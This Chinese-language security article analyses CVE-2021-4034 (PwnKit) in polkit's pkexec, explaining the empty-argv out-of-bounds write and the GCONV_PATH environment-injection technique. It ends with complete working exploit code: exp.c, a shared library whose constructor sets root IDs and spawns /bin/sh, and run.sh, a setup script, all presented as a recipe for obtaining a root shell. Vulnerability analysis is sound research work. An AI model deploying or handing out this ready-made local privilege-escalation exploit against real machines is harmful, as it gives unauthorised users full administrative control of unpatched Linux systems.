一
漏洞介绍
在 polkit 的 pkexec 工具中发现的本地权限升级漏洞,pkexec 应用程序是一个 setuid 工具,旨在允许非特权用户按照预定义策略以特权用户身份运行命令。当前版本的 pkexec 无法正确处理调用参数个数,并试图将环境变量作为命令执行。攻击者可以利用这一点,精心设计环境变量,诱使 pkexec 执行任意代码。成功执行后,该攻击可导致本地权限升级,赋予未授权用户在目标计算机上的管理权限。
二
漏洞分析
polkit
漏洞代码(v0.120):
......
for (n = 1; n < (guint) argc; n++)
{
......
}
......
g_assert (argv[argc] == NULL);
path = g_strdup (argv[n]);
if (path == NULL)
.....
}
if (path[0] != '/')
{
/* g_find_program_in_path() is not suspectible to attacks via the environment */
s = g_find_program_in_path (path);
if (s == NULL)
{
g_printerr ("Cannot run program %s: %sn", path, strerror (ENOENT));
goto out;
}
g_free (path);
argv[n] = path = s;
}
漏洞逻辑如下:
1.polkit在处理argv的时候,n是从1开始计数的,for循环结束后path变量被赋值为了g_strdup (argv[n]);
,如果传递的参数个数为0(即argv={ NULL}),这里就会有一个数组越界。而众所周之,argv和envp是连着的:
所以数组越界会取到envp[0]的值并赋值给path
。
2.接下来如果path[0] != '/'
,程序就会调用函数g_find_program_in_path来找到path
的路径,g_find_program_in_path会从环境变量PATH中寻找目录,并查看目录中有没有path
文件,如果某个目录中有path
文件就返回"目录名/文件名"。比如用户设置envp[0]为"sh",g_find_program_in_path就会从环境变量PATH中寻找目录,寻找到目录"/bin"的时候,发现目录下有文件"sh",此时g_find_program_in_path就会返回"/bin/sh"。
3.接下来程序会把得到的"路径/文件名"写回argv[n],同理如果argv={ NULL}程序就会把得到的值写到envp[0]中。
所以漏洞可以做到一个越界写,解析出envp[0]在环境变量PATH中的路径,并将"路径/envp[0]"写回envp[0]。
Linux下的目录
Linux下的目录中可以带有特殊符号,可以完成许多奇怪的操作,比如下面这个:
所以可以给目录起名叫做"TEST=.",也可以指定环境变量PATH="TEST=.",所以如果指定polkit的PATH="TEST=.",并在目录"TEST=."下新建文件"test",同时将envp[0]设置为test的话:
1.数组越界会取到"test"的值并赋值给path。
2.path[0] != '/'
,程序就会调用函数g_find_program_in_path找"test"的路径。
3.g_find_program_in_path函数从环境变量PATH中找到了目录"TEST=.",并在目录下找到了文件"test"。
4.g_find_program_in_path将"TEST=./test"返回,程序将"TEST=./test"写入envp[0]。
通过这个技巧,我们达到了利用数组越界漏洞完成环境变量注入的目的操作。
LD_PRELOAD&GCONV_PATH
要通过环境变量完成提权,最方便的就是劫持程序加载的libc,执行用户自己写的函数。
环境变量LD_PRELOAD就可以指定glibc的位置,使用户可以为某个二进制程序指定运行特定版本或者自己编译的libc,但是有SUID-bit的二进制程序在启动的时候不吃这个环境变量,那通过这个漏洞是不是可以将LD_PRELOAD注入polkit进程中进而劫持其glibc呢?很遗憾,在二进制程序正常运行的时候,glibc已经加载完成了,这时候指定LD_PRELOAD不会有任何作用。
所以要用到环境变量GCONV_PATH,该环境变量能够使glibc使用用户自定义的gconv-modules文件,而gconv-modules可以指定带有函数gconv()和gonv_init()的libc文件。在polkit源码中,多次使用了g_printerr函数进行报错,如果环境变量CHARSET不是UTF-8,g_printerr()将会调用函数iconv_open()来转换编码,此时iconv_open就会去根据环境变量GCONV_PATH寻找gconv-modules,并找到gconv-modules指定的libc文件,调用其中的gconv()与gonv_init()。
g_printerr()调用iconv_open()的路径为:
g_printerr
-> g_default_printerr_func
-> print_string
-> strdup_convert
-> g_convert_with_fallback
-> g_convert
-> open_converter
-> g_iconv_open
-> try_conversion
-> iconv_open
gconv-modules格式如下:
module 字符集1// 字符集2// libc名字 cost
漏洞利用
当程序中shell的环境变量为无效shell时就会触发g_printerr的报错:
所以利用步骤为:
1.创建目录'GCONV_PATH=.'
2.在目录'GCONV_PATH=.'下创建文件pwnkitdir
3.创建目录'pwnkitdir'
4.在目录下创建文件gconv-modules,写入内容"module UTF-8// PWNKIT// pwnkit 1"
5.编写c代码,编写名为gconv_init()的提权函数或者编写带有__attribute__ ((constructor))
修饰的提权函数,编译为pwnkit.so,放在gconv-modules同级目录
6.编写c代码,用来运行pkexec,将argv设为{ NULL},a_envp设置为
char * envp[] = {
"pwnkitdir",
"PATH=GCONV_PATH=.",
"CHARSET=PWNKIT",
"SHELL=xxx",
NULL
};
并编译运行即可获得rootshell。
三
漏洞验证
exp.c:
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv)
{
char * const a_argv [] = { NULL};
char * const a_envp[] = {
"pwnkitdir",
"PATH=GCONV_PATH=.",
"CHARSET=PWNKIT",
"SHELL=xxx",
NULL
};
execve("/usr/local/bin/pkexec", a_argv, a_envp);
}
lib.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/sh", a_argv, a_envp);
}
run.sh:
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp
运行run.sh完成exp利用的前置环境搭建,切换为普通用户:
运行exp,完成提权。
看雪ID:/x01
https://bbs.kanxue.com/user-home-929564.htm
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原文始发于微信公众号(看雪学苑):CVE-2021-4034分析
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